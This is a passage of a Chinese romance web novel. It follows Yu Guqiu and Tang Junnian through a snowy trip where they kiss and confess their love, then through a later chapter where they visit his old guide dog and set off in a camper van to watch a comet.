虞谷秋和汤骏年听着她们的对话,两人的耳朵跟着被一起烤红了,接下来谁都不再跑火车瞎说话,心不在焉地听别人说。 他们旁边的长凳上坐着一对女生朋友,其中一人很可爱地在为小鱼们忧心:“雪都被浮冰挡住了,落不到海里,海里的鱼就看不到雪了,好可惜。” 另一人安慰她:“没关系呀,海里面有自己的雪。” “海里也会下雪吗?” “说是雪,其实不是雪。”女孩解释,“我上次看到科普,那些雪是海里快死掉的浮游生物组成的,还有各种鱼的粪便啦,泥沙,尘土……但是呢,它们组合在一起,在海里面漂浮的时候,看上去就像是一场下在海里面的雪。” 同伴感叹:“挺有意思的,这些不起眼的脏东西居然能变成一场纯白的漂亮的雪。” “不过哪里比得上真雪好看嘛,出不出去拍照?天马上要完全暗了!” “走走走。” 两个女孩子叽叽喳喳地跑出去了。 汤骏年看了一眼空掉的座位,又看向虞谷秋:“你呢?” “什么?” “天马上要黑了,快出去拍照吧。你刚刚不是因为我才想进来的吗?” 虞谷秋支吾道:“你别自作多情,根本不是。” 汤骏年闭上眼睛,忽然说:“你撒谎的时候,声线会比平时说话要高,听上去很飘。就是你刚才说话的样子。” 虞谷秋下意识一惊:“真的?” “本来不是很确定,但现在确定是真的。” 这都第几次了!虞谷秋抓狂,她怎么总是被他下套! “你果然因为我才进来的。”他慢慢睁开眼,看着她,“你为了我放弃看那片冰原,为什么?” 虞谷秋低下头,小太阳的高温让人连眼周也发烫。 “因为我人好。” 汤骏年恢复灵活的手指重新掏出耳机冲她晃了晃:“刚才断掉的歌,还要继续听完吗?” 虞谷秋摇摇头:“……不了。” “那就可惜了。”他的手伸过来,变得温暖的手终于敢来碰一碰她的头顶,那里还顽固地积了几簇未融化的雪花,他替她拂掉,“你没听完整的那句,是我整首中最喜欢的一句歌词。” 「时间啊/若能倒流 相爱这回事/也能如我所愿吧」 第60章 破冰船返回岸边时, 天色完全落幕,港口灯火通明,雪却越下越大, 两人顺势在港口吃完饭,雪花已经薄薄地积了一层。 黑色的大海和白色的大地, 这一幕虽美, 但如果一直驻留在这里看这一幕就不美了。 两个人的叫车软件都叫不到车,突发的降雪天气导致用车紧俏,栖云没有地铁, 最近的公交站在两公里之外。 没有犹豫很久,他们决定收起手机,走两公里去公交站等车, 趁雪没再积厚之前回去,正好消消食。 在雪天里散步, 臆想上很浪漫,实际上体验却是南辕北辙。天气冷,路面滑,雪花虽然不似雨,但想要不湿全身还是得努力走两步就抖一下身体。虞谷秋就保持着小心翼翼的走姿,一边走一边蹦跶。 汤骏年不蹦哒,他很快就变成了一个白色的大雪人。 虞谷秋瞅他一眼:“你快被雪盖满了, 快蹦一下。” 他没辙地说:“非要这样吗?” “谁叫我们没伞呀。” 汤骏年在她期盼的目光中浅浅地蹦了一下,雪花意思意思地从他的黑色大衣上落下一块, 又很快被补满。 虞谷秋不太满意, 立刻又给他示范了一遍:“你得像我这样大幅度才有用。” 汤骏年别过眼,张口说:“你别再蹦了。” 她不依不饶:“你自己不想蹦还拦我。” 他呼出一口气,很伤脑筋。该怎么告诉虞谷秋, 他看着她的动作,就会想起很久以前看的电影龙猫。她蹦跳的样子就像一只小龙猫,尽管她和龙猫没有一点搭的地方,那样瘦小,却压过龙猫数百倍千倍的可爱。让人只想在她腾空的刹那间张开怀抱,期待着她会跳进来。 而令人失落的地方就在于,他知道她不会跳进来。 虞谷秋见他沉默下去,以为自己这个动作讨嫌,便真的不再蹦了。 两人又恢复了同样的步调在雪地里走,虞谷秋关心道:“你需不需要搭着我?” 天色太暗了,港口这一带路灯的间隔很长,中间有段路几乎是摸黑的,寻常人走过都会觉得困扰吧,更别说视力并不好的汤骏年。 但汤骏年闻言回说:“没关系,我能应付。” 虞谷秋偏过头,两人走过昏暗地带,脸庞重新被路灯照耀,她发觉出他的不快。 她心头一紧,即刻道:“对不起!” 汤骏年诧异地看过来:“怎么突然道歉?” 虞谷秋小心翼翼地反省:“我刚刚让你烦了吧?” “什么,你说蹦吗?完全没有。” “我能看出来你在不爽。”她小声咕哝,“你刚刚表情很可怕。” “那是因为你在关心我。” 虞谷秋低下头:“……这样问很烦人吗?” 汤骏年顿了半晌,蹙起眉头:“虞谷秋……你怎么到现在还会这么想呢?如果没有你的关心,我不会有勇气变成现在这样。任何一个人碰上你的关心都是一种绝无仅有的幸运,像刮中唯一的那张彩票。” “即便你不喜欢我了,却还持续地给予我这种关怀,让我能多兑一会儿奖……而时限要到了。我无法克制自己不去想你下一位真正想给出关心的人,那个人会是谁,你会对他多不吝啬。我还不认识他,但他已经成为我在这个世界上最讨厌的人。” “我想到他,我怎么会有好脸色?” 汤骏年说的语气是很平淡的,但说到最后,虞谷秋依然听到几分没压抑住的厌恶。他这样一个人,连面对林淑秀到最后都会落泪的人,会对别人真的生恶吗?到这一刻她才知道,他会的,他会因为她而憎恨别人,哪怕是一个还未到来的人。 真是……真是…… 虞谷秋深深地扬起头,让雪花抚平此刻的汹涌。 两人走过路灯带,又来到了一片间隔的昏暗中。虞谷秋仍昂着头,心想自己若是一片雪花就好了,可以不用顾忌亲密无间地落在他肩头。 她知道她不该有怨言,选择现在这个局面的人是她,她不能有怨言。 于是在这片昏暗中,她纵容自己走得歪扭了些,这样肩头就能轻轻碰到他了。 * 两人在雪地里走了大约半小时,终于远远望见了一个公交站,只是不巧,在他们之前已经排起了一列长队。 他们排到队尾,她数着蛇形队伍的人数,开始担心他们会挤不上公车。 好的预感通常不灵,坏的却往往灵验,这就是虞谷秋大多数时候的经验。然而车到来时比她的感觉还要恶心一点——这辆公车刚好卡在他们即将上去前,司机叫嚷着塞不下了塞不下了!啪一声在他们跟前关上车门。 虞谷秋懊恼又无用地踢了把雪,汤骏年却平和地说:“我们很幸运啊。” “哪有,差一点就可以上车了啊,这不是倒霉吗……” “你要想下一辆车到的时候我们就会有位置,不必站着挤回去了。” “话是这么说,但是下一辆也不知道什么时候来,你还没戴手套……” 汤骏年微怔。 “原来你是在替我着急吗?” 虞谷秋进退两难。 汤骏年笑了笑,垂下眼:“放轻松,我不会继续自作多情,你对我的关心只是惯性吧,我知道。” 虞谷秋瞬间感觉自己呼吸不过来。 她急匆匆脱下自己的手套给他,汤骏年忍不住笑说:“给我穿吗?” 虞谷秋猛点头,完全不顾她的手套他是不是能塞下。 他看着她抓着手套伸过来的手,这又让他想起飞飞,那个纯粹爱着他的小狗。它叼着他的玩具过来他身边,一心一意地要与他分享。 汤骏年从不会拒绝小狗的玩具,也没道理拒绝这双手套,他拿过来,却又握住虞谷秋的手,将两只手套帮她戴回她手上。 他边戴边说:“我不冷。在最冷的时候你握过我的手,我就不会再冷了。“ 戴的时候,他的手指难免碰到她,明明那么那么冰冷,可他却无比笃定说他再也不会冷。口气毫无逞强,他是真心的。 虞谷秋该去反握住他,用自己的温度让他回暖一些,但最后她只是将手放进口袋,想象自己的口袋是一座监狱,她把一双手关押进去,把自己的心关押进去。 * 两人回到民宿已经是一个半小时之后,他们各自冲进房间洗热水澡,虞谷秋沐浴在温热的水流下,一时间感觉自己身在天堂。 磨磨蹭蹭洗了快有半小时,等她裹着头发换完睡裙出来,汤骏年的房间早已经听不到任何动静,她想他可能是先睡了。 而她得开始打开行李箱着手收拾行李。 旅行结束的前夜是最令人怅然的时候,浓度和出发前夜的快乐呈正比,尤其当你知道这是一次绝版的旅行。 虞谷秋无精打采地将白日买的礼物全都规整地在箱子里码好,然后就呆在箱子前,想不起来下一件物品放在哪儿。 她回过神,抬眼,看见汤骏年路过她的房间,穿一身黑色睡衣,正在门口看她。 “要帮忙吗?”他问。 “不用……你还没睡吗?我以为你睡了。” “没有,我刚刚也在收拾行李。既然你改签了,我也没理由继续呆着。”他的目光落在她的包发毛巾上,“行李不需要我帮忙的话,头发我帮你吹吧?” 虞谷秋下意识要拒绝,他直直看着她,软声说:“这是最后一晚了。” 到嘴边的话拐了个弯,变成:“好吧。” 汤骏年分外高兴,眉眼弯弯的,说:“来客厅沙发上吧,坐着我来帮你吹。” 他去自己房间里拿来了吹风机,虞谷秋反坐到沙发上,取下毛巾,已经绞干的头发仍带着一些潮气,一缕缕地垂下来,又被汤骏年接起。 他站在她身后,没有着急打开吹风机的开关,而是将自己的手当作梳子,从她的头顶插入发丝间,一点一点顺下来。 这个触感让她想起昨夜,他帮自己抚平头发时也是这样入侵她,真不知这就是他的习惯,抑或是他打定了主意要这么对她。 她的头发其实很顺,但他耐心地捋了一遍,又一遍。 然后他说:“你的耳朵越来越红,很热吗?” 虞谷秋侧过身去恼怒地看他:“你到底要不要吹?” 他将她的脑袋正回去:“现在就来帮你吹了。” 汤骏年终于按开了吹风机,最小档,声音嗡嗡地贴着她转,从左边到右边,他反复拨开她的头发,一边漫不经心地问:“你的洗发露是什么牌子?” 她听得含糊,确认地反问:“你在问我洗发露吗?” 顷刻,他弯下腰,声音贴近她的耳廓。 这是一个可以背后拥抱的姿势。 “对,我在问你的洗发露。”那声音直直钻进她耳朵里,再无听含糊的可能,“吹起来的时候有山茶的味道,很香。” 虞谷秋轻轻吞咽,挤出声音:“我……回头把链接发给你。” “好,谢谢。” 声音飘远,他站直了身体。她紧绷的双肩也悄然放松。 她其实很想对汤骏年说,你何必来问我洗发露呢?你不知道你自己的洗发露有多香吗?他贴近的刹那,身上清新的香气也向她袭来,并未随着他远离而散开,依旧包围着她。 最小档的风,吹了半天头发还是很潮,虞谷秋越来越感觉难熬,提醒他:“风力要不要再大一点?” 汤骏年道:“那样会伤头发,还是慢慢来比较好。” 她只好说:“……其实我有点困了。” 想要快速结束这一切,趁她最后一点理智还没有被吹散,趁她的身体还没有被情欲塞满。 汤骏年又慢吞吞地吹了一会儿,才说:“好。” 可就在他调节按钮的刹那,耳边的吹风声不强反弱,立刻息止了。 虞谷秋愕然张望整间黑下来的客厅—— 断电了。 天地仅剩窗外微亮,大雪仍纷飞。 * 汤骏年去检查了屋里的电闸,没有跳闸,再从二楼的窗户眺望出去,不止其他人家,连街上的路灯都熄灭了,可见是大雪让整片区域停电。 他回到客厅告诉虞谷秋这个消息,今晚或许不会再来电,头发吹得半干不干,此时也没有办法。 虞谷秋从沙发上跳下来,学以致用道:“幸好不是在洗澡的时候断的电,说不定还会摔跤。正好我太困了,我可以去睡觉了!” 汤骏年还想说什么,默了默,出口却是:“好……那晚安。” “晚安。” 两人在黑暗中道别,还互相挥了挥手。 凌晨三点十分,虞谷秋却突然从床上惊醒。 她很少会有半夜醒来的时候,虽然她睡眠算不上好,多梦,但因为经常日夜颠倒的关系,保持了一种只要睡觉就能一觉到醒的好习惯。而在这个离别前夜,她的身体被意识唤醒,不愿意面对睁眼就是早上的境况似的,提前醒过来,醒在黑暗中。 虞谷秋尝试按了按床头灯,仍没反应,看来依旧在停电。 她爬起来去卫生间,下床时侧头看向窗外,这场雪依然没停……略一失神,脚踢到瘫在地上忘记合上的行李箱,身体失去平衡,慌乱中她去抓一边的椅子,却在黑暗中没摸对位置,一阵巨响,人和椅子全都翻了。 虞谷秋膝盖磕到地板上,痛得直想叫,一想到这是三更半夜,立马咬住嘴唇忍下来。 可好像晚了,门外传来几声轻叩,汤骏年在门外很紧张地问:“怎么了?” 她仓促地站起来去开门,在黑暗中龇牙咧嘴:“我吵醒你了吗?” “没,我还没睡。你怎么样?” “我没事,没注意到箱子被绊倒了。” “有磕到哪儿吗?” 她本想直接说没伤到哪儿,但是犹豫了,想起他们练习过的,慢慢地把真实说出口:“……膝盖。” “我带了药油,你等一下。” 他不等她拒绝,径直扭头回了房间。 虞谷秋跟着走出房间,小心翼翼地,站在客厅中央。很快,汤骏年手上拿着药油过来了,他在黑暗中行动自如,一点不见磕碰。 汤骏年指向沙发:“不坐吗?” 虞谷秋摇头,向他伸手:“药油给我就可以了。” 他抿起唇:“那至少让我看一下你的伤。” 虞谷秋死死拽紧自己的睡裙,摇头道:“……不。” “我没有别的意思,只是担心。” “我知道。”虞谷秋在黑暗中苦笑了下,“但我不知道你还记不记得我说的话……我腿上有好多色素黑块呢,真的,很难看,会吓到你。” 汤骏年沉默了一会儿,将药膏递过来。但就在虞谷秋伸手去拿时,他反握住她的手腕,引导着她的手摸到自己眼前。 他闭上眼睛,示意她继续摸摸他的眼睛。 “虞谷秋,你看过我的盲眼,你告诉我,我当时残缺的眼睛难看吗,会吓到你吗?” 虞谷秋愣愣地,不假思索地回他:“当然不会。” 她的手指触着他轻阖着的眼皮,她的指尖能感受到温热的颤动。 他闭着眼睛说:“那这也是我的回答。” “胡说……你都还没看过我的腿呢。” “那你也要先给我机会不是吗?” 虞谷秋抽回手,汤骏年轻轻睁开眼,一瞬不瞬地盯着她瞧。 她在这时不由得想到院里的范西平。他进院里之前患有烟瘾,院里不准抽,他只能戒,但有一次在花园里偷偷抽还是被她抓包了。她苦口婆心跟范西平说抽烟多有害,范西平说我抽了一辈子我能不知道吗?但这东西,你碰上了你就沾不掉啊,你抗拒不了的。 真是,这句话就在此时此刻冒出来,直往她心头里撞。很难说汤骏年不是一款烟,一款特别为她定制的烟,她抗拒不了的。 她自暴自弃道:“那你看吧,随便你看!” 她一把提起睡裙,拉高到露出膝盖,小腿上东一块西一块的色素沉积暴露出来,最大的一块围绕着脚踝半圈,侧面看过去还以为带着一副黑色腿环。 然而小腿已经是身上并不严重的区域了,大腿根部才是重灾区……内侧密麻的色块,如果有密集恐惧症的人看到这样的照片铁定会感觉不适。所以,她所说的吓人,难看,并不是一种妄自菲薄,而是客观意义上的事实。这怎么能和他的眼睛相提并论? 她在黑暗中盯紧他的神情,迫切地想从汤骏年的表情中找出一点惊愕或不适,想看他的眉头有没有皱起,视线有没有避开……然而盯遍他脸上的蛛丝马迹,她什么都没有找到。 虞谷秋想,他只是看不清。如果看清他还是会露怯的。 他蹲下,目光淡淡扫过她的小腿,平常地扭开药膏替她抹上膝盖。收回手时,还有些湿润的指尖慢慢地顺着那些沉积的色块划过去,然后抬起眼看她。 “你知道我看着你这些地方的时候,脑子里第一个念头是什么吗?” 虞谷秋又想,无非是要安慰她的漂亮话吧。 她惴惴地问道:“是什么?” 汤骏年低下头,视线努力地辨认着她的“伤口”,一指节一指节地碰过去,哑着嗓音道:“我想吻这里。” “这里。” “这里。” “还有这里。” 他每说一处,手碰向一处,在黑暗中艰难地摸索着全部,再抬起头看她。 “因为是你的身体,我看了只想吻你。” 虞谷秋踉跄往后一步,拽着睡裙的手一松,裙摆重新放下来,阻隔了他的视线和触碰。 汤骏年站起身,语气却相当君子:“对不起,吓到你了。” 耳边有电流闪过,虞谷秋此时怀疑自己的大脑已经过速,烧断了所有神经,却唯独留下感知欲望的那一根,以致他的指尖碰在那上面的触感仍延时在她的表皮上游走。她被关自己的身体里,像被困在另一座大楼,对面漆黑,忽然一处灯亮了,又亮了,她大叫着说不可以,不能亮,使劲拍着窗户冲对面大喊,摩天大楼的窗户依然以燎原之势弥漫开,最终,所有的灯全亮了,大楼辉煌得令人失神。 虞谷秋向前一迈,踮起脚尖,扬起脸,去寻汤骏年的嘴唇。 先吻上去的那个人是她自己。 汤骏年在黑暗中不期然的瞳孔微张。 窗外的雪仍在下,雪落在积雪上的声音比他们的呼吸要轻。 虞谷秋吻上他的嘴唇,确切地说是撞了一下他的嘴唇,把她所有的不甘和爱意倾注在这一吻上,大楼的灯这下才肯熄。 她仓皇十足地退开,转身想逃回房间,却从背后被抓住手腕。汤骏年从身后覆上来,他的吻也覆上来,细密地落在她垂下头而露出的后颈。不是直接吻在皮肤上,隔着她的头发,他的吻轻而柔地蔓延开去,被吻的发丝骚动着皮肤,她禁不住地在颤抖。 轻吻一时停止,汤骏年手握住她的双肩,将她再度转过来,转向他。 两人的目光在一片雪白色的黑暗中交织着,靠近着,又离开。他看向她的嘴唇,握着她肩的手松开,慢慢捧起来她的脸,大拇指腹擦着她的下巴,指尖反复顶过她下唇的唇珠。虞谷秋便咬紧下唇,不想让他碰到。 她刚咬起来的刹那,汤骏年的手一抬她的下巴,吻压下来了。 一个真正的,交缠在一起的吻。不是浅尝辄止的我碰碰你你碰碰我,而是身体交出去一部分,灵魂也跟着交出去一部分。不得要领,全凭本能,勾着直到彼此都喘不过气,狼狈地松开,虞谷秋一头倒在汤骏年肩头,额头抵着他喘气。他亦紧抱住她。 两人依偎在一起,等着各自的呼吸平息。 虞谷秋这时已经脑子一片空白,她侧过头,侧脸仍旧压着汤骏年的肩头,静静看向窗外,雪好像变小了,像他们此时一般安静。 她已经不知道自己是贪恋这个肩膀,还是不知该如何收场,所以就这么一动不动地靠着他,直到,她感觉自己的肩头忽然有湿意。 虞谷秋愕然地抬起脸,松开和汤骏年的距离,怔怔地,发现了他挂着泪珠的眼睫。 他飞速地眨了几下眼睛,偏过头去。 虞谷秋对他这个反应感到震惊和茫然,喃喃道:“为什么哭了?” 很久,他回答: “是感到幸福。”他红着眼眶微笑道,“想到这个吻,想到也许这代表着你还喜欢我的可能,我就忍不住掉下眼泪了。” 他的话让虞谷秋的眼泪也一下子不期然地夺眶而出。 她抓紧他的衣服,脸埋在他的胸前,很快濡湿他的黑色睡衣。 滴在她肩头的眼泪已经干了,但在她心里留下了泪痕。 “这不是可能。”她哽咽着,难以控制地告白,“汤骏年,我喜欢你……我依然喜欢你,没有变过。” 原来,即便她使劲浑身解数关押自己的心,可解开它的钥匙,仅需要爱人的眼泪。《 》 【正文完】 第64章 一周后容兰芝办理了离院手续, 当天早上是周承意来接的人,两人在走廊碰见,虞谷秋礼貌地冲他点头, 他停下来寒暄道:“真的不好意思,外婆给你造成麻烦了。” 虞谷秋真没当回事, 摆手道:“你还是快去房间接她吧。” “虞谷秋。” “还有事吗?” 周承意笑着问:“以后是不是不会再见面了?” “应该不会了吧?”虞谷秋讽刺地反问, “难道你还想再跟我见面?” 他摇摇头:“绝没有。” 虞谷秋耸肩说:“英雄所见略同。” “该说不愧是流着点一样的血吗?” 虞谷秋左右看看,压低声音:“可别再来那套姐姐弟弟的,收起你的猎奇心, 过家家游戏也该到此为止了。” 周承意点头道:“放心吧,从今以后我们走在路上就是陌生人。我绝对不会主动跟你打招呼的,倒是你别控制不住先跟我打招呼了, 像今天这样。” 虞谷秋很使劲才克制住自己的白眼,挤出笑容道:“因为这一刻您还是家属, 我只是做好我的工作。” “好吧。”他学着她耸肩,“那再见了。” 虞谷秋没有回再见,而是说:“慢走。” 与他擦肩而过时,却又听到他讲:“我第一次见你的时候,其实那时候真的还不知道你是我的姐姐。” “如果永远不知道就好了。” 愣神的空档,周承意已经挥挥手,风轻云淡地朝前离开了。 虞谷秋惊吓地回过神, 这啥意思?听上去有点像一句话恐怖故事。 这小子是憋着坏故意吓她的,绝对是。 虞谷秋随即朝另一个前方离开, 将之抛在脑后。 * 结束一天工作, 换衣,打卡,下班, 坐公车听播客回家,收下家附近新开门店的传单。 新的一年,日子却似乎依然没什么变化,一样的流程,却有不一样的心情。注意到路边的野花开了,枝条抽出新芽,春天不知不觉到来,一切都好温暖。 虞谷秋哼着歌,曲调是自己都没察觉的《第一次》,去驿站取了快递,拆开,是一些狗狗用的宠物湿巾。 汤骏年掐着日子算,距离飞飞被送到领养家庭有段时间了。换了个彻底的退休环境,他这时再去探望它大概率不会再造成飞飞的混淆,所以要来了飞飞的新家地址,决定一周后两人都有空的那天一齐去看它。 她把东西拍了张照片发给汤骏年:“东西送得好快,我昨晚才下单!” 汤骏年也发了张照片过来,他买的是飞飞最爱吃的小零食。 “我的比你快一天。” 他发来一个得意比树杈的自带表情。 虞谷秋逗他:“你到了不主动报备,扣分!” 他即刻又发来一个“小的知错”表情包。 虞谷秋很惊讶:“你怎么连这种表情包都有!”搞得她很像那种专门喜欢为难男友的女朋友,为此他储备了一堆。 这个十年间没发过表情包的人用一种淡淡的语气向她科普:“有个东西叫微信表情搜索,你不知道吗?” 虞谷秋当即搜了一个巨大的白眼表情飞过去。 他秒回一个笑到从椅子上翻下去的小孩。 一场热火朝天的表情包之战在这个夜晚打响了!你来我往数分钟,最终以虞谷秋胜出告捷—— 然而她是怎么胜的呢。 汤骏年发了一张自制的表情包,不知道是何时偷拍下的虞谷秋,她陪他在家楼下吃米线,明明吃不了辣非要尝一口他的麻辣米线,瞬间吐着舌头,鼻孔微张,脸色红红。 他给这张照片用软件添了四个字:我投降啦! 发完表情包,还发来一条带着笑意的语音。 “太可爱了。” 虞谷秋心想,自己确实得投降了。 她没招地哀嚎一声,将脸埋进沙发。 * 飞飞的新主人是一对老夫妇,孩子在国外念书,他们都退休了,身体不错,只有一些基础病。现在有大把的时间可以陪伴狗狗,而且之间也养过狗,有经验,各方面来说都很适合领养飞飞,因此基地最后选择了他们。 汤骏年提前和老人家约好时间地点,晚上七点的时候在他们家附近的公园见面。 两人提早半小时到,坐在公园的长椅上,各自抱着给飞飞买的零食和湿巾,心情忐忑又惴惴不安,目光在公园的人群中穿行着,谁的狗,谁的猫,统统不在意,虞谷秋在望眼欲穿的等待中提前感知到了什么是身为人母的心情,虽然她和飞飞的情谊还远远称不上母子,相识的日子或许勉强可以叫做后妈?她好笑地想着,目光去看旁边的汤骏年。 他的眼神也在认真地搜寻着,想着兴许飞飞他们提前下来散步,所以看得格外认真,想在飞飞出现前就先认出它。 毕竟他们朝夕相处这么多年,但他却从未真实地见过飞飞,手机里仅存有一张为了上传播客封面当时拍下的飞飞。复明后他凑近看着照片,那是他第一次知道飞飞长什么样子,爱不释手地看了半天,后来设置成手机的屏保,外面是飞飞,内面是虞谷秋,这是他此生的手心和手背。 现在后悔过没有多拍下飞飞还在他身边生活时的照片,可当时根本没能想到自己的人生会有复明的转折,也就不会有拍照留念的念头,他们一起相依为命的日子就如流水般走过了,什么都没留下。 接近七点的公园越来越热闹,荧白的路灯下不时闪过遛狗的各色人,这些小狗腿或长或短,毛有的炸开有的修剪得圆滚滚的,它们打着滚经过草坪,草坪给压踏下去,看得路人不由会心一笑,感觉可爱。可汤骏年看到时在想,飞飞已经很老了,它只会慢悠悠经过这里。 而此时,路灯下真的出现一个比刚才任何一只小狗都要慢的影子。 不知它是为了配合主人老迈的步调,还是主人在配合这条老狗,总之,一人一狗都无比缓慢。与他们的缓慢相比,汤骏年倏忽一下站起来,零食从腿上滑下,还是虞谷秋眼疾手快替他捞住。 她也一直在瞧,还没看到飞飞,汤骏年却已经站起来了。明明他都没真正见过飞飞的样子,明明他的视力比她差多了,明明也还没到时间,太多个明明,虞谷秋两手抓满东西,狐疑地跟着看过去,路灯下,她先看到一条摇晃得飞快的尾巴。 缓慢的飞飞在这瞬间几乎是要挣脱绳索,调动全身,迫切地想向他们冲来。 老人费好大劲才勒住它,虞谷秋和汤骏年在这个节骨眼赶紧迎上,汤骏年叫了一声飞飞,它陡然不再躁动,仰起圆滚滚的脑袋,乌黑的眼珠看着汤骏年。 汤骏年惯性地要伸手摸它,手伸到一半,才想起来小心地问:“我可以摸摸它吗?” 老人呵呵一笑,干脆连绳索都交给他。 “我今天这老腰累得很,你帮我去散散步吧!” 虞谷秋顺势说:“那我帮人捶捶腰,你带飞飞去散步吧!” 她想汤骏年需要和飞飞独处一小段时间,像他们的往日那样,只有他们俩互相作伴。而照顾老人刚好是她的拿手绝活,两人默契分工,汤骏年应下,牵着飞飞沿着小径往前。 她拉着老人在长椅边坐下,将零食和湿巾塞给他,空出双手真的帮人按起腰来。老人连声赞她真会按,虞谷秋得意洋洋,毕竟有人言传身教。尽管她懂的只是脑袋的一些穴位,腰上的还完全不知,其实是在乱按。 回去后是不是该再向汤骏年就腰这方面多取取经呢……她略有些心猿意马地想。 老人被按得服服帖帖时,虞谷秋趁机向他提出一个不情之请。 他一愣,然后松口说:“完全没问题啊。” “太谢谢了!还有,麻烦先跟汤骏年保密!” 眺望小径那头,汤骏年和飞飞已经走完大半圈,他们穿越一个又一个路灯,那神情姿态,令虞谷秋想起第一次坐在紫荆花园的小区长椅上,他领着飞飞,那时他看不见她,笔直地与她擦肩而过。 而如今,他们绕了一圈,绕完命运长长的轨道,停在她的长椅前。 老人很识趣地转过头,一边大声道:“哎哟,我这个腰也好了,不用按了不用按了。” 虞谷秋正襟危坐地看向汤骏年,莫名紧张起来。 汤骏年一手牵着绳子,另一手向她递出掌心,飞飞在一边冲她吐出舌头。 “该我们一起了。”他也背脊挺直,严肃地看着她,“要一起散步吗?” “要!” 她郑重其事地将手心贴向他朝上的掌心。 年过花甲的老人坐在一旁目睹这一幕,怀疑人生地思索着——这真的只是在邀请散步,不是在邀请结婚吗? * 和飞飞见面的时间飞逝而过,还未分别,汤骏年已迫切地问起可不可以再来看飞飞,若可以什么时候再来合适? 老人语焉不详地打岔说,再说吧。 汤骏年怅然若失地看着一人一狗远去,却没注意到老人离开前却冲虞谷秋眨了下眼。虞谷秋暗中冲他了一个大拇指的手势。 汤骏年根本不会想到在他单独带着飞飞散步时,虞谷秋和老人暗中达成一致。 她提出的请求就是可不可以借飞飞一天用。 她早已经安排好他们下一次见面的机会,而为了这一天,她还准备了其他:一辆房车,一辆望远镜,虽然都是租来的,它们和飞飞一样,只有一天的时效。 虞谷秋选择了天气特别好的一天,在傍晚时分找代驾将小房车开到了紫荆花园门口。 汤骏年正在大扫除,忽然收到叫本该在上班的虞谷秋的消息,他随意抓起外套匆忙下楼,在门口看半天都没看见人,却听见对面的房车按了一声喇叭。 汤骏年惊疑不定地看过去,车窗降下,虞谷秋探出半个脑袋和一只手,挥啊挥:“——过来!”她大叫。 汤骏年小跑向车,没搞清楚是怎么回事,就见驾驶座上一个不认识的男人,虞谷秋抱着飞飞正坐在副驾上,他一来,她从副驾上抱着飞飞跳下,将他拉上房车后面。 “他是……” “我找的代驾,你没法开,我现在也不适合开车了嘛。”虞谷秋扬头对司机道:“麻烦您可以出发了——” 司机比了个OK的手势,虞谷秋麻溜地将中间连通的小窗户关上,互相看不见,终于自在了。 汤骏年茫然地被折回来的虞谷秋按在沙发上,飞飞也顺势被摁进怀,这才想起问:“我们去哪儿?” 虞谷秋挤在他身边坐下:“去文山看星星。” 汤骏年陷入怔忪:“看星星……?” “我偷偷加入了一个天文爱好者的大学生群,窥屏他们说今晚会有雷蒙彗星!” 他忍不住笑起来:“只窥屏不聊天吗?” “聊天的话,万一被他们发现我还不满十八岁,那被踢了就要难过了。”虞谷秋不害臊道。 “那这辆房车呢?” “文山那里有个房车基地,我们把车开到那里然后上山。说不定彗星半夜才会来,结束后可以直接下山去房车基地过夜休息,这样不折腾。”她指了指身后,“我特地选了有两张床的,还搬来了飞飞平常在用的狗窝,我们三个都有窝睡,放心!” 汤骏年侧身往后看去,房车虽小,五脏俱全,厨房,沙发,吧台,一张上下铺的小床。 “……不错的安排。”他微妙地评价。 “是吧!”虞谷秋得意洋洋,又问,“你大学的时候去看过星星吗?” “还没来得及。” 虞谷秋想,十年前他本应该像她窥屏的那群大学生一样,闲来时大家结伴去看星星,别说住房车,就算随便驻扎一个帐篷在山里过夜都没问题。青春会包容一切。 时移势易,他们已经不是可以风餐露宿的年纪,但虞谷秋仍想带他回一趟青春里,开着这辆房车的话,一定可以横冲直撞地穿越回过去吧,又或者,是冲向未来。 汤骏年却笑笑说:“但我现在不觉得遗憾了,反而挺庆幸。如果那个时候眼睛没坏,第一次看星星就不一定是和你了。” “为什么不一定是和我,你不会邀请我吗?” “我会,但我邀请你你就会来吗?” “你邀请我看电影我不就答应了嘛!” “那是沾了电影的光吧,不是因为我。”他笑笑,“你那个时候不是还有喜欢的人吗?” “……啊?” “之前在你家里吃饭的时候你提到过,有一个喜欢但因为身体原因不愿意告诉他的人。一直没问过你,那个人是我们的高中同学吗?” 这个念头一直在他心里千回百转,在去参加同学的婚宴上时,主要目的是抓虞谷秋之外,次要的目的就是观察,观察谁是虞谷秋当时喜欢的人。 他看哪个男的都觉得不够格,但看哪个男的又都抱有敌意。 当然,他有想过会不会是自己,但盘点了所有为数不多的交集,她对他从没有超出多一点的同学以上的情谊,连他去给她生日蛋糕的时候她都不愿接受,甚至不正眼看他,最后悻悻地否定了。 或许不是同学,或许是老师,或许是她在校外的朋友……这世界上有太多太多人了,那个藏在你思春期里的初恋是谁呢? 虽然知道也会如鲠在喉,但他仍旧想知道,想知道关于虞谷秋的一切。 她目视前方,心不在焉,完全陷入回忆中。 “他啊……”虞谷秋回过神,神采飞扬地描述,“特别耀眼,特别温柔,特别英俊,特别……” 汤骏年听着,脸上微笑,手里使劲,飞飞不得不在汤骏年怀中翻着白眼叫了一声。 “抱歉抱歉……”汤骏年讪讪地松开手,飞飞蹭一下从他怀中蹿出,逃之夭夭,跳到一边狗窝里。 虞谷秋忍笑道:“怎么了?” 汤骏年咬牙继续微笑:“没事,算了,还是不说了吧。” “真的不要听了?” “下次再说。”他面无表情,“我没想到你的形容词如此……我需要再调整下我的心理建设。” 虞谷秋使劲憋住,清清喉咙:“好哦,那等你下次想知道的时候我再告诉你。” 车子慢慢开出五环,城市傍晚的喧嚣声逐渐远去,房车里有一片很窄很高的小窗户,能看到逐渐隐匿在橘红色晚霞之下的群山。 汤骏年忽然问道:“要不要听点广播?” “好啊,你随便放。” 汤骏年操作着点开手机,不一会儿,手机里传来了汤骏年的声音—— “各位朋友,你们好。好久不见。这是时隔很久的更新。” 虞谷秋愕然。 “这是你的新播客内容吗?”她即刻点开他的账号确认,“明明没有更新啊!” “还没有上传。”汤骏年按下暂停解释,“因为这一期我也想让你做第一位听众。” 虞谷秋顿时心痒痒,催促他继续播放。 他把手机放在茶几上,手揽向虞谷秋的肩,她默契地靠上他,两人姿势舒服地往后倒,一起依偎在并不宽的小沙发里。 手机外放的音质听着略显粗糙,慢慢地在天色昏暗的车厢里沙沙播放。 “这一期,我想聊聊完全不同于天文的东西,它是科学的反面,可以说是谁都无法研究参透的东西——关于爱这回事。” 